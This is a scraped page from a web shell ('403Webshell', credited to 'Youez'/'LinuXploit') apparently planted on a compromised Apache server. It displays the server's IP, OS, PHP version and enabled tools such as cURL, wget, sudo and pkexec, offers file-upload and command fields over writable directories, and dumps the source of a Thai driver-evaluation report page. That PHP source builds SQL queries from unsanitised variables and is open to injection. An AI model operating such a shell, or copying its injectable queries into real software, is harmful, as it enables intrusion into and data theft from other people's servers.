403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/CAR - Copy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/CAR - Copy/rep_driver.php
<?php
include("dbconfig.php");
include( "function.php" );
?>
<html>
<head>
<title> รายงานผลการประเมิน</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<LINK href="style.css" rel=stylesheet>
<STYLE type=text/css>
a:link{color:red;text-decoration:none;font-family:ms sans serif;}
a:visited{color:pink;text-decoration:none;font-family:ms sans serif;}
a:hover{color:black;text-decoration:none;font-family:ms sans serif;}
td{font-size:10pt;font-family:ms sans serif;}

</STYLE>
<script language="JavaScript1.2">
<!--
/*
Auto Maximize Window Script- By Nick Lowe (nicklowe@ukonline.co.uk)
*/
top.window.moveTo(0,0);
if (document.all) {
top.window.resizeTo(screen.availWidth,screen.availHeight);
}
else if (document.layersdocument.getElementById) {
if (top.window.outerHeight<screen.availHeighttop.window.outerWidth<screen.availWidth){
top.window.outerHeight = screen.availHeight;
top.window.outerWidth = screen.availWidth;
}
}
//-->
</script>
</head>
<body>

<STYLE type=text/css>A.no_de:hover {
	TEXT-DECORATION: none
}
</STYLE>

<TABLE height=85 cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f7ff" colSpan=2></TD>
    </TR>
    <TR bgColor=#c7d2e7> 
      <TD class=thwbold width="90%" height=28><div align="center"><a 
      href=""><font color=#000000>&nbsp;รายงานผลการประเมินของพนักงานขับรถยนต์</font></a></div></TD>
      <TD width="10%" height=28 align=right vAlign=center bgColor=#c7d1e7 class=thsans><div align="right"> 
          <A 
      href=""></A> &nbsp; <A href=""></A> <A 
      href=""></A>&nbsp; </div></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black" colSpan=2></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f8ff" colSpan=2></TD>
    </TR>
    <TR vAlign=center bgColor=#216289> 
      <TD class=thwbold colSpan=2 height=21> <TABLE height="95%" cellSpacing=0 cellPadding=1 width="99%" align=center 
      border=0>
          <TBODY>
            <TR> 
              <TD width="9%" height="22"  
          
          align=middle><SPAN class=thsans2 
            id=n1><a href="index.php"><font color="#FFFFFF">หน้าแรก</font></a></SPAN></TD>
              <TD  
          
           align=middle width="28%"><font color="#FFFFFF"> <a href="rep_driver3.php">สรุปเปรียบเทียบพนักงานขับรถ</a></font></TD>
              <TD 
          
           align=middle width="16%"><font color="#FFFFFF">&nbsp;</font></TD>
              <TD width="7%" 
          
           align=middle><font color="#FFFFFF">&nbsp;</font></TD>
              <TD 
          
           align=middle width="15%"><font color="#FFFFFF"><SPAN 
            class=thsans2 id=n5></SPAN></font></TD>
              <TD 
          
         align=middle width="19%"><font color="#FFFFFF"><SPAN 
            class=thsans2 id=n5><a href="rep_driver1.php">ดูปริมาณการใช้รถ</a></SPAN></font></TD>
              <TD class=thtahomasmall  
           align=middle width="6%">&nbsp;</TD>
            </TR>
          </TBODY>
        </TABLE></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black; heigth: 1" 
colSpan=2></TD>
    </TR>
  </TBODY>
</TABLE>
<form name="form1" method="post" >
  <TABLE cellSpacing=0 cellPadding=3 width="98%" align=center border=0>
    <TBODY>
      <TR> 
        <TD height="126" vAlign=top><BR>
          <TABLE cellSpacing=0 cellPadding=3 width="100%" border=0>
            <TBODY>
              <TR> 
                <TD class=thtahomasmall bgColor=#c7d2e7
                  height=5>&nbsp;</TD>
              </TR>
              <TR> 
                <TD height="46" 
                bgColor=#f0f8ff class=thtahomasmall 
                style="BORDER-RIGHT: #c7d2e7 1px solid; BORDER-TOP: #c7d2e7 1px solid; BORDER-LEFT: #c7d2e7 1px solid; BORDER-BOTTOM: #c7d2e7 1px solid"><table width="97%" border="0" align="center" cellpadding="2" cellspacing="0">
                    <tr> 
                      <td class=thtahomasmall bgColor=#c7d2ff width="14%"><div align="center">ชื่อพนักงานขับรถ</div></td>
                      <td width="12%" class=thtahomasmall bgColor=#c7d2ff> <div align="center">วันที่</div></td>
                      <td width="7%" class=thtahomasmall bgColor=#c7d2ff><div align="center">ตรงเวลา</div></td>
                      <td width="13%" class=thtahomasmall bgColor=#c7d2ff><div align="center">ความพร้อมของรถ</div></td>
                      <td width="9%" class=thtahomasmall bgColor=#c7d2ff><div align="center">ความมีน้ำใจ</div></td>
                      <td width="16%" class=thtahomasmall bgColor=#c7d2ff><div align="center">ปฏิบัติตามกฏจราจร</div></td>
                      <td width="14%" class=thtahomasmall bgColor=#c7d2ff><div align="center">พฤติกรรมบริการ</div></td>
                      <td width="15%" class=thtahomasmall bgColor=#c7d2ff><div align="center">พฤติกรรมการขับรถ</div></td>
                    </tr>
                    <?php	
mysql_select_db($__db__);
mysql_query(" SET NAMES 'tis620'; ");
						$sql="select  *  from audit ,tran  where audit.audit_id = tran.no  ";
						$result=mysql_query($sql);
						$totalrecord = mysql_num_rows($result);
						$pagesize= 20 ;
						$totalpage = (int) ($totalrecord/$pagesize) ;
						  if(($totalrecord%$pagesize) != 0)
						  {
						  $totalpagesize +=1;
						  }
						  if(isset($pageid)) 
						  {
						  $start = $pagesize *($pageid -1) ;
						  }
						  else
						  {
						  $pageid = 1 ;
						  $start = 0 ;
						  }
					
			$fsql="select  *  from audit ,tran  where audit.audit_id = tran.no  LIMIT $start ,$pagesize ";
			$fresult=mysql_query($fsql);		
			while (@$object = mysql_fetch_object($fresult))
			  {
			  $driver = $object ->driver;
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
					  $sqll="select  id,name  from user  where id = '$driver'";
					   $lresult=mysql_query($sqll);
					   while (@$objectl = mysql_fetch_object($lresult))
			  			{
						 $name = $objectl->name;
						 }
				?>
                    <tr> 
                      <td height="22"><? echo $name ; ?></td>
                      <td><? echo formatdateshow($object ->date1); ?> </td>
                      <td> <div align="center"><? echo $object ->t1 ; ?></div></td>
                      <td> <div align="center"><? echo $object ->t2 ; ?></div></td>
                      <td> <div align="center"><? echo $object ->t3 ; ?></div></td>
                      <td> <div align="center"><? echo $object ->t4 ; ?></div></td>
                      <td><div align="center"><? echo $object ->t5 ; ?> </div></td>
                      <td><div align="center"><? echo $object ->t6 ; ?> </div></td>
                    </tr>
                    <?php
		  }


//	mysql_free_result($lresult);
			?>
                  </table></TD>
              </TR>
            </TBODY>
          </TABLE> 
          <p align="center"> หน้า 
            <? 
 for($x=1;$x<=$totalpage;$x++)
  {
   if ($x == $pageid)
	 {
		echo $x."&nbsp;" ;
	 }
	 else
	 {
		echo "[&nbsp;<a href =\"rep_driver.php?pageid=$x\">$x</a>&nbsp;]&nbsp;&nbsp;";
	 }
  }
?>
            &nbsp;</p></TD>
      </TR>
    </TBODY>
  </TABLE>
  </form>
 
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit